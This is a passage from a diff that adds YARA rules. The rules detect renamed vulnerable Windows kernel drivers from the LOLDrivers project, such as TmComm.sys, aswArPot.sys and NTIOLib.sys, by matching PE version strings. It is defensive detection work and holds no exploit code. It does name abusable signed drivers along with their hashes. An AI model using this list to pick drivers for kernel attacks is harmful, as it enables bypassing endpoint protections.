+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* ProductName ASUSVGAKernelModeDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 } /* OriginalFilename EIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000370020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* LegalCopyright CopyrightASUSTeKComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /EIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_2AFD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2afdb3278a7b57466a103024aef9ff7f41c73a19bab843a8ebf3d3c4d4e82b30"
+		date = "2023-06-14"
+		score = 70
+		id = "7a7404ea-d835-5d65-9c8e-1f694d9458fe"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000390038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustekcomputerinc_Iomapsys_Asuskernelmodedriverfornt_EA85 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IOMap64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ea85bbe63d6f66f7efee7007e770af820d57f914c7f179c5fee3ef2845f19c41"
+		date = "2023-06-14"
+		score = 70
+		id = "029b7abb-cea8-5713-b220-476d2b2fc30e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 } /* FileDescription ASUSKernelModeDriverforNT */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTeKComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f004d00610070002e007300790073 } /* InternalName IOMapsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 } /* ProductName ASUSKernelModeDriverforNT */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f004d00610070002e007300790073 } /* OriginalFilename IOMapsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003100300020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* LegalCopyright CopyrightASUSTeKComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /IOMap64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E05E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53"
+		date = "2023-06-14"
+		score = 70
+		id = "e61c9ebc-6ec1-5302-934b-f023601a34d8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E452 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4522e2cfa0b1f5d258a3cf85b87681d6969e0572f668024c465d635c236b5d9"
+		date = "2023-06-14"
+		score = 70
+		id = "2e64bafa-9707-53f1-981c-ce1e863a8cfc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Marvintestsolutionsinc_Hwsys_Hw_5596 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - hw.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa"
+		hash = "4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8"
+		date = "2023-06-14"
+		score = 70
+		id = "e53b6cb1-981b-5639-8186-5b1a96bdb9b0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d003100300020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 } /* FileDescription HWWindowsNTbitkernelmodedriverforPCportsmemoryPCIaccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e } /* CompanyName MarvinTestSolutionsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 } /* InternalName Hwsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 } /* ProductName HW */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 } /* OriginalFilename HWsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003200310020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightMarvinTestSolutionsIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /hw/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Mydriverscom_Hwm_Drivergenius_08EB {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mydrivers.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "08eb2d2aa25c5f0af4e72a7e0126735536f6c2c05e9c7437282171afe5e322c6"
+		date = "2023-06-14"
+		score = 70
+		id = "64fe7b58-75a4-5a83-a621-c77c63d6ca1c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440072006900760065007200470065006e0069007500730020004800610072006400770061007200650020006d006f006e00690074006f0072 } /* FileDescription DriverGeniusHardwaremonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00790044007200690076006500720073002e0063006f006d } /* CompanyName MyDriverscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0032002e003700300037002e0031003200310034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032003000310036002e0037002e0037002e0031003200310034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480057004d } /* InternalName HWM */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440072006900760065007200470065006e006900750073 } /* ProductName DriverGenius */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d00790064007200690076006500720073002e007300790073 } /* OriginalFilename mydriverssys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020004d00790044007200690076006500720073002e0063006f006d00200061006c006c002000720069006700680074 } /* LegalCopyright CopyrightMyDriverscomallright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /mydrivers/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sisoftware_Sandra_Sisoftwaresandra_3E27 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3e274df646f191d2705c0beaa35eeea84808593c3b333809f13632782e27ad75"
+		date = "2023-06-14"
+		score = 70
+		id = "aa83d18f-662b-573d-873a-a88179982b9e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /SANDRA/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Powertool_Kevpsys_Powertool_8E63 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kEvP64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8e6363a6393eb4234667c6f614b2072e33512866b3204f8395bbe01530d63f2f"
+		hash = "09b0e07af8b17db1d896b78da4dd3f55db76738ee1f4ced083a97d737334a184"
+		hash = "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c"
+		date = "2023-06-14"
+		score = 70
+		id = "d967bff5-7db8-587b-9422-a43280230261"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006f0077006500720054006f006f006c } /* FileDescription PowerTool */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0050006f0077006500720054006f006f006c } /* CompanyName PowerTool */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006b00450076005000360034002e007300790073 } /* InternalName kEvPsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006f0077006500720054006f006f006c } /* ProductName PowerTool */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00450076005000360034002e007300790073 } /* OriginalFilename kEvPsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0050006f0077006500720054006f006f006c } /* LegalCopyright PowerTool */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /kEvP64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpot_Avastantivirus_3B6E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3b6e85c8fed9e39b21b2eab0b69bc464272b2c92961510c36e2e2df7aa39861b"
+		date = "2023-06-14"
+		score = 70
+		id = "7fbdb3fe-4655-5656-babb-d99a3ff0c00f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7C73 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7c731c0ea7f28671ab7787800db69739ea5cd6be16ea21045b4580cf95cbf73b"
+		hash = "fca10cde7d331b7f614118682d834d46125a65888e97bd9fda2df3f15797166c"
+		date = "2023-06-14"
+		score = 70
+		id = "cc96821c-2dbb-5205-9aa4-55fb8cbe12b5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1A42 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1a42ebde59e8f63804eaa404f79ee93a16bb33d27fb158c6bfbe6143226899a0"
+		date = "2023-06-14"
+		score = 70
+		id = "6c116541-9615-5ede-ad94-7879306eee68"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_EC5F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ec5fac0b6bb267a2bd10fc80c8cca6718439d56e82e053d3ff799ce5f3475db5"
+		date = "2023-06-14"
+		score = 70
+		id = "db63af64-4b16-5873-b2ba-792f3d8cdbc7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_34E0 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "34e0364a4952d914f23f271d36e11161fb6bb7b64aea22ff965a967825a4a4bf"
+		date = "2023-06-14"
+		score = 70
+		id = "ff70dd78-039c-53db-8692-5a34d2d0b82a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_D0BD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d0bd1ae72aeb5f3eabf1531a635f990e5eaae7fdd560342f915f723766c80889"
+		date = "2023-06-14"
+		score = 70
+		id = "9bf0e4e6-84e3-58ae-8a53-caa45cf7cf1d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e } /* LegalCopyright CopyrightCMicroStarINTLCOLTD */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_3C18 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3c18ae965fba56d09a65770b4d8da54ccd7801f979d3ebd283397bc99646004b"
+		date = "2023-06-14"
+		score = 70
+		id = "ac00f0ae-fb0b-50e4-91f4-ea2f46bdb27b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003900320038 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2B4C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
